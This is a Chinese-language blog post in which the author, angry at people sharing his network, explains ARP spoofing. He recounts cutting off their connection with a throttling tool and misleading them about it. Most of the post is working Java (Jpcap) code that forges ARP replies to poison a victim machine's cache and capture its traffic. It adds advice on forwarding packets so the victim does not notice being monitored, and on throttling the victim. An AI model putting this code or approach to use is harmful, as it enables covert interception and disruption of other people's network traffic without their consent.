如果說最近有什麼不爽的事情,那就是與人共享網絡的痛苦了,特別是當其他共享者使用那些P2P工具下載軟件,而你卻看著網頁進度條一點點爬的時候,那種痛苦對於我這種網蟲級別的人來說,那簡直就是痛不欲生。絕對不能再忍了,於是乎上網下載P2P終結者,哼,你們不仁我則不義,看誰厲害。軟件下好後,立刻啟動監控,然後嘗試了下速度,哇,那個爽啊。可惜好景不長,沒多久對方就跑來問我為什麼他們斷網了?我楞了一下,那垃圾軟件居然連對方的網都斷了,於是支支唔唔的應付了他,說我看下,總算勉強過關,還好他們不懂電腦,不然就掉大了(貌視挺卑鄙的,別BS俺,俺也是迫不得已)。
沒辦法,那破爛軟件居然連人家網都斷了,我僅僅只是想給他們限速而已(還算有點良心),仔細查看了下文檔,使用的方式都沒問題啊,為什麼會這樣呢?想了半天也毫無頭緒,沒辦法,看來只能自己動手了,於是乎上網找了些關於這方面的資料看了下,也寫了一點代碼做試驗,由於時間有限也只寫了一點,不過總體的做法大概是有所了解,在這裡就寫一篇文章大概記錄一下自己的做法,以便作為日記又可與大眾分享下。
其實目前網絡上類似P2P終結者這類軟件,主要都是基於ARP欺騙實現的,網絡上到處都有關於ARP欺騙的介紹,不過為了本文讀者不需要再去查找,我就在這裡大概講解一下。
ARP(Address Resolution Protocol)既地址解釋協議,主要的目的是用於進行IP和MAC地址解釋的。IP是網絡層協議,而MAC是被數據鏈路層使用。網絡中兩個節點要進行通信,那麼首先發送端必須要知道源和目的地的MAC地址,而網絡層是使用IP地址,所以要獲得MAC地址,就必須通過IP地址獲取對應的MAC地址,這樣就需要使用ARP協議將IP地址轉換為MAC地址,而同時為了能夠快速的找到目的地的MAC地址,每個節點都會有一個ARP緩存,用於保存已經轉好好的MAC地址,大家可以在控制台下使用arp –a指令查看arp緩存表。
而ARP具體過程就是當需要通過IP獲取一個遠端的的MAC地址的時候,系統會首先檢查ARP表中是否存在對應的IP地址,如果沒有,則發送一個ARP廣播,當某一個擁有這個MAC地址的節點收到ARP請求的時候,會創建一個ARP reply包,並發送到ARP請求的源節點,ARP Reply包中就包含了目的地節點的MAC地址,在源節點接受到這個reply後,會將目的地節點的MAC地址保存在ARP緩存表中,下一次再次請求同一IP地址的時候,系統將會從ARP表中直接獲取目的地MAC地址,而不需要再次發送ARP廣播。
看到這裡,ARP的具體過程大概講解了一遍,希望能夠解釋清楚。相信有心的朋友一定已經開始考慮ARP欺騙的原理了吧,其實就是利用ARP表進行ARP欺騙,比如一台局域網內的機器A,通過網關B進行internet連接,而它的arp表中保存著網關B的IP和MAC地址對,如下:
192.168.1.1 —> MAC1(懶得寫那麼長了,就以MAC1作為MAC地址了)
那麼也就是說,當A想上網的時候,他所有的數據都將先發送到網關再由網關轉發出去,那麼A的數據首先會通過192.168.1.1找到網關的MAC地址MAC1,然後就可把數據發送到網關了。此時你的機器是C,MAC地址是MAC2,你想通過ARP欺騙來獲取A傳輸的數據,那麼你所需要做的事情其實很簡單,就是將機器A的ARP表中192.168.1.1對應的MAC地址MAC1改成MAC2即可,這樣子機器A所有發送到192.168.1.1的數據就會發到MAC地址為MAC2的機器上,也就是你的機器上了。
要更改APR表的記錄,辦法就是偽造一個ARP reply包發送給機器A,而這個ARP reply包中的源IP為192.168.1.1,MAC地址為MAC2既你的機器的MAC地址即可,機器A接受到後就會將這個源IP和MAC刷新到它的ARP緩存表中,覆蓋原有的記錄,最終這樣就可以達到ARP欺騙的目的了。
講到這裡不知道大家是否對ARP欺騙有所了解呢?如果再不了解那就上網搜搜吧,網上很多相關的資料。好了,原理講完了,那就輪到實現了,通過JAVA又如何實現ARP欺騙呢?
從頭到尾來做,當然不是我的作風,JAVA社區那麼龐大,我麼應該好好利用,要站在巨人的肩膀上成功嘛,呵呵。有一個開源項目JPCAP,這個項目提供一個中間層接口讓使用者可以調用如wincap/libpcap這些庫對網絡傳輸進行控制,具體可到官方網站查看其文檔。
在這裡,我實現了一個簡單的封包截取程序,根據ARP欺騙的原理,
我們所需要做的事情如下:
1、構建一個ARP Reply包 2、將該封包發送到需要欺騙的機器 代碼如下:
代碼如下:
public class LocalListener {
private final static String GATE_IP = "192.168.11.1";
private final static byte[] GATE_MAC = {0x00, 0x0a, (byte) 0xc5, 0x42, 0x6e, (byte) 0x9a};
private JpcapCaptor jpcap; //與設備的連接
private JpcapSender sender; //用於發送的實例
private Packet replyPacket; //ARP reply包
private NetworkInterface device; //當前機器網卡設備
private IpMacMap targetIpMacMap; //目的地IP MAC對
public LocalListener(IpMacMap target) throws Exception {
NetworkInterface[] devices = JpcapCaptor.getDeviceList(); device = devices[1];
this.targetIpMacMap = target;
initSender();
initPacket();
}
private void initSender() throws Exception {
jpcap = JpcapCaptor.openDevice(device, 2000, false, 10000); //打開與設備的連接
jpcap.setFilter("ip", true); //只監聽ip數據包
sender = jpcap.getJpcapSenderInstance();
}
private void initPacket() throws Exception {
//reply包的源IP和MAC地址,此IP-MAC對將會被映射到ARP表
IpMacMap targetsSd = new IpMacMap(GATE_IP, device.mac_address);
//創建修改目標機器ARP的包
replyPacket = ARPPacketGern.genPacket(targetIpMacMap, targetsSd);
//創建以太網頭信息,並打包進reply包
replyPacket.datalink = EthernetPacketGern.genPacket(targetIpMacMap.getMac(),
device.mac_address);
}
public void listen() throws InterruptedException{
Thread t = new Thread(new Runnable() {
public void run() {
//發送reply封包,修改目的地arp表, arp表會在一段時間內被更新,所以需要不停發送
while(true){
send();
try {
Thread.sleep(500);
} catch (InterruptedException ex) {
Logger.getLogger(LocalListener.class.getName()).log(Level.SEVERE, null, ex);
}
}
}
});
t.start();
//截獲當前網絡設備的封包收發信息
while(true){
IPPacket ipPacket = (IPPacket)jpcap.getPacket();
System.out.println(ipPacket);
}
}}
//IP-MAC實體,只用於保存一對IP-MAC地址
public class IpMacMap {
private String ip;
private byte[] mac;
public IpMacMap(){
}
public IpMacMap(String ip, byte[] mac){
this.ip = ip;
this.mac = mac;
}
public String getIp() {
return ip;
}
public void setIp(String ip) {
this.ip = ip;
}
public byte[] getMac() {
return mac;
}
public void setMac(byte[] mac) {
this.mac = mac;
}
}
//ARP reply包生成類,用於根據目的地址和源地址生成reply包
public class ARPPacketGern{
public static ARPPacket genPacket(IpMacMap target, IpMacMap sender) throws Exception{
ARPPacket arpTarget = new ARPPacket();
arpTarget.hardtype = ARPPacket.HARDTYPE_ETHER; //選擇以太網類型(Ethernet)
arpTarget.prototype = ARPPacket.PROTOTYPE_IP; //選擇IP網絡協議類型
arpTarget.operation = ARPPacket.ARP_REPLY; //選擇REPLY類型
arpTarget.hlen = 6; //MAC地址長度固定6個字節
arpTarget.plen = 4; //IP地址長度固定4個字節
arpTarget.target_hardaddr = target.getMac();
arpTarget.target_protoaddr = InetAddress.getByName(target.getIp()).getAddress();
arpTarget.sender_hardaddr = sender.getMac();
arpTarget.sender_protoaddr = InetAddress.getByName(sender.getIp()).getAddress();
return arpTarget;
}
}
//根據目的地MAC和源MAC構建以太網頭信息,用於傳輸數據
public class EthernetPacketGern{
public static EthernetPacket genPacket(byte[] targetMac, byte[] senderMac) throws Exception {
EthernetPacket ethToTarget = new EthernetPacket(); //創建一個以太網頭
ethToTarget.frametype = EthernetPacket.ETHERTYPE_ARP; //選擇以太包類型
ethToTarget.dst_mac = targetMac;
ethToTarget.src_mac = senderMac;
return ethToTarget;
}
}
如上代碼實現了創建一個發送到IP為192.168.11.4的機器的ARP reply封包,其中可看到,reply包中的源IP為192.168.11.1,而源MAC則被改成當前機器的MAC地址,既device.mac_address,這樣當192.168.11.4的機器接收到該reply包後,就會刷新ARP表,並且所有發送往192.168.11.1的數據都會實際發送到當前運行該程序的機器。程序中創建了一個線程用於循環發送reply封包,主要是因為ARP表會在一定時間內更新,所以要不停的發送才能保證其MAC地址時刻都是被改變的。同時主線程用於監聽並打印當前設備的所有IP數據包信息,本來此方法只能監聽到本機數據包的信息,但由於使用了ARP欺騙,所以你會在192.168.11.4發送數據到192.168.11.1的時候截獲其數據包,並看到類似如下的信息:
1216798614:885583 /192.168.11.4->/61.135.189.33 protocol(6) priority(0) hop(128) offset(0) ident(34922) TCP 1337 > 8016 seq(1062321893) win(65535) S
其實上例程序雖然可以截獲並監聽192.168.11.4的數據包,但是如果真的運行起來後,192.168.11.4的機器將會無法上網(假設該機器通過192.168.11.1作為網關上網),這又是為何呢?
這就是因為本機截獲了192.168.11.4的封包,但是卻沒有將封包轉發出去,所以實際上數據包到了你的機器上後就被中斷了,數據包無法發送出去。既然要監聽對方機器,當然不能讓對方知道啦,如果你監聽了那台機器,卻導致對方無法上網,傻子也知道有問題啦,所以以上程序仍然要加個補充,那就是將封包數據在轉發到192.168.11.1上,只要將截獲的封包再send出去就可以了,具體如何做就留給大家想吧,困了,休息了,如果有朋友有興趣又實在想不出如何做的話,可以向我提出來,有必要的話,下次再貼一個完整點的例子吧。
對了,最後還有補充的地方,那就是我們可以通過同樣的方式刷新網關的ARP,這樣網關接受到的數據也會被本機截獲,同樣再通過本機轉發到目的機器即可。這樣對方既可正常上網,而我們又可截獲對方的數據包,如果要進行限速的話,那就是在截獲封包的同時,進行一定的延時,比如一秒只允許多少K的數據通過,都可以在這裡做手腳,同樣的,具體如何留給大家想吧,^ o ^。